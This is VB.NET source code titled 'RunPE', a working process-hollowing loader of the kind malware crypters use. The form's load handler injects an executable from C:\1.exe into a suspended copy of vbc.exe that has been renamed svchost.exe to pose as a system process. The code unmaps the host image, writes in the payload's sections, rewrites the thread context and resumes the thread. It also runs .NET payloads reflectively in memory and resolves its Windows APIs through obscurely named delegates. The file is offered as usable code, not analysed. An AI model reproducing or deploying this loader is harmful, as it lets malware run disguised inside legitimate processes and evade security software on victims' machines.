RunPE (VB.NET)

Imports System.Reflection
Imports System.Runtime.InteropServices
Imports System.Text

Public Class Form1

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Dim fFile() As Byte
        fFile = FileIO.FileSystem.ReadAllBytes("C:\1.exe")
        Inject(fFile, True, "C:\windows\system32\notepad.exe")
    End Sub

    Public Declare Function ShellExecuteA Lib "Shell32" (ByVal Parent As IntPtr, ByVal OperationType As String, ByVal FileLocation As String, ByVal Parameters As String, ByVal StartDirectory As String, ByVal ShowType As Integer) As Integer
    Public Declare Function LoadLibraryA Lib "kernel32" (ByVal name As String) As IntPtr
    Public Declare Function GetProcAddress Lib "kernel32" (ByVal handle As IntPtr, ByVal name As String) As IntPtr
    Public Shared Function CreateAPI(Of T)(ByVal name As String, ByVal method As String) As T
        Return DirectCast(DirectCast(Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(name), method), GetType(T)), Object), T)
    End Function
    Public Delegate Function a(ByVal hThr As IntPtr, ByVal ctxt() As UInteger) As <MarshalAs(UnmanagedType.Bool)> Boolean
    Public Delegate Function b(ByVal hProc As IntPtr, ByVal baseAddr As IntPtr, ByVal buff() As Byte, ByVal size As IntPtr, ByRef numRead As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
    Public Delegate Function c(ByVal hProc As IntPtr, ByVal baseAddr As IntPtr) As UInteger
    Public Delegate Function d(ByVal hProc As IntPtr, ByVal baseAddr As IntPtr, ByRef bufr As IntPtr, ByVal bufrSize As IntPtr, ByRef numRead As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
    Public Delegate Function f(ByVal hThr As IntPtr) As Integer
    Public Delegate Function g(ByVal hThr As IntPtr, ByVal ctxt() As UInteger) As <MarshalAs(UnmanagedType.Bool)> Boolean
    Public Delegate Function h(ByVal hProc As IntPtr, ByVal addr As IntPtr, ByVal size As IntPtr, ByVal allocType As Integer, ByVal prot As Integer) As IntPtr
    Public Delegate Function i(ByVal hProc As IntPtr, ByVal addr As IntPtr, ByVal size As IntPtr, ByVal newProt As Integer, ByRef oldProt As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
    Private Shared ReadOnly prot As Integer() = New Integer() {1, &H10, 2, &H20, 4, &H40, 4, &H40}
    <DllImport("kernel32")> Shared Function CreateProcess(ByVal appName As String, ByVal commandLine As StringBuilder, _
      ByVal procAttr As IntPtr, ByVal thrAttr As IntPtr, <MarshalAs(UnmanagedType.Bool)> ByVal inherit As Boolean, _
      ByVal creation As Integer, ByVal env As IntPtr, ByVal curDir As String, ByVal sInfo() As Byte, _
      ByVal pInfo() As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
    End Function
    Public Shared Function Inject(ByVal bytes() As Byte, ByVal runInMemory As Boolean, Optional ByVal filename As String = Nothing)
        Dim GTC As a = CreateAPI(Of a)("kernel32", "GetThreadContext")
        Dim WPM As b = CreateAPI(Of b)("kernel32", "WriteProcessMemory")
        Dim NMVS As c = CreateAPI(Of c)("ntdll", "NtUnmapViewOfSection")
        Dim RPM As d = CreateAPI(Of d)("kernel32", "ReadProcessMemory")
        Dim RT As f = CreateAPI(Of f)("kernel32", "ResumeThread")
        Dim STC As g = CreateAPI(Of g)("kernel32", "SetThreadContext")
        Dim VAE As h = CreateAPI(Of h)("kernel32", "VirtualAllocEx")
        Dim VPE As i = CreateAPI(Of i)("kernel32", "VirtualProtectEx")
        Dim directory As String = IO.Path.GetTempPath
        Try
            Try
                IO.File.Copy(IO.Path.GetDirectoryName(Environment.SystemDirectory) & "\Microsoft.NET\Framework\v2.0.50727\vbc.exe", directory & "xcoca.ine", True)
                My.Computer.FileSystem.RenameFile(directory & "xcoca.ine", "svchost.exe")
            Catch
                Exit Try
            End Try
            If Not runInMemory Then
                IO.File.WriteAllBytes(directory & filename, bytes)
                ShellExecuteA(0, "open", directory & filename, vbNullString, vbNullString, 10)
            Else
                If NetRun.isDotNet(bytes) Then
                    NetRun.RunNet(bytes)
                Else
                    Dim procAttr As IntPtr = IntPtr.Zero
                    Dim processInfo As IntPtr() = New IntPtr(3) {}
                    Dim startupInfo As Byte() = New Byte(67) {}

                    Dim num2 As Integer = BitConverter.ToInt32(bytes, 60)
                    Dim num As Integer = BitConverter.ToInt16(bytes, num2 + 6)
                    Dim ptr4 As New IntPtr(BitConverter.ToInt32(bytes, num2 + &H54))

                    If CreateProcess(Nothing, New StringBuilder(directory & "svchost.exe"), procAttr, procAttr, False, 4, _
                     procAttr, Nothing, startupInfo, processInfo) Then
                        Dim ctxt As UInteger() = New UInteger(178) {}
                        ctxt(0) = &H10002
                        If GTC(processInfo(1), ctxt) Then
                            Dim baseAddr As New IntPtr(ctxt(&H29) + 8L)

                            Dim buffer__1 As IntPtr = IntPtr.Zero
                            Dim bufferSize As New IntPtr(4)

                            Dim numRead As IntPtr = IntPtr.Zero

                            If RPM(processInfo(0), baseAddr, buffer__1, CInt(bufferSize), numRead) AndAlso (NMVS(processInfo(0), buffer__1) = 0) Then
                                Dim addr As New IntPtr(BitConverter.ToInt32(bytes, num2 + &H34))
                                Dim size As New IntPtr(BitConverter.ToInt32(bytes, num2 + 80))
                                Dim lpBaseAddress As IntPtr = VAE(processInfo(0), addr, size, &H3000, &H40)

                                Dim lpNumberOfBytesWritten As Integer

                                WPM(processInfo(0), lpBaseAddress, bytes, CUInt(CInt(ptr4)), lpNumberOfBytesWritten)
                                Dim num5 As Integer = num - 1
                                For i As Integer = 0 To num5
                                    Dim dst As Integer() = New Integer(9) {}
                                    Buffer.BlockCopy(bytes, (num2 + &HF8) + (i * 40), dst, 0, 40)
                                    Dim buffer2 As Byte() = New Byte((dst(4) - 1)) {}
                                    Buffer.BlockCopy(bytes, dst(5), buffer2, 0, buffer2.Length)

                                    size = New IntPtr(lpBaseAddress.ToInt32() + dst(3))
                                    addr = New IntPtr(buffer2.Length)

                                    WPM(processInfo(0), size, buffer2, CUInt(addr), lpNumberOfBytesWritten)
                                Next
                                size = New IntPtr(ctxt(&H29) + 8L)
                                addr = New IntPtr(4)

                                WPM(processInfo(0), size, BitConverter.GetBytes(lpBaseAddress.ToInt32()), CUInt(addr), lpNumberOfBytesWritten)
                                ctxt(&H2C) = CUInt(lpBaseAddress.ToInt32() + BitConverter.ToInt32(bytes, num2 + 40))
                                STC(processInfo(1), ctxt)
                            End If
                        End If
                        RT(processInfo(1))
                    End If
                End If
            End If
        Catch
            Return False
        End Try
        Return True
    End Function
End Class
Public Class NetRun
    Shared Sub RunNet(ByVal datatorun As Byte())
        Dim netthread As New System.Threading.Thread(AddressOf RunNet)
        netthread.SetApartmentState(System.Threading.ApartmentState.STA)
        netthread.Start(datatorun)
    End Sub
    Shared Sub RunNet(ByVal netobject As Object)
        Dim netthread As System.Reflection.MethodInfo = System.Reflection.Assembly.Load(DirectCast(netobject, Byte())).EntryPoint
        Dim ObjectList As New System.Collections.Generic.List(Of String)
        Dim ObjectList2 As New System.Collections.Generic.List(Of String())
        Dim Object1 As Object
        Dim integer1 As Integer = 0
        For integer1 = 1 To netthread.GetParameters.Length
            ObjectList.Add(integer1.ToString)
        Next
        ObjectList2.Add(ObjectList.ToArray)
        Object1 = ObjectList2.ToArray
        netthread.Invoke(Nothing, Object1)
    End Sub
    Shared Function isDotNet(ByVal bytesdotnet As Byte()) As Boolean
        Try
            Assembly.Load(bytesdotnet)
            Return True
        Catch
            Return False
        End Try
    End Function
End Class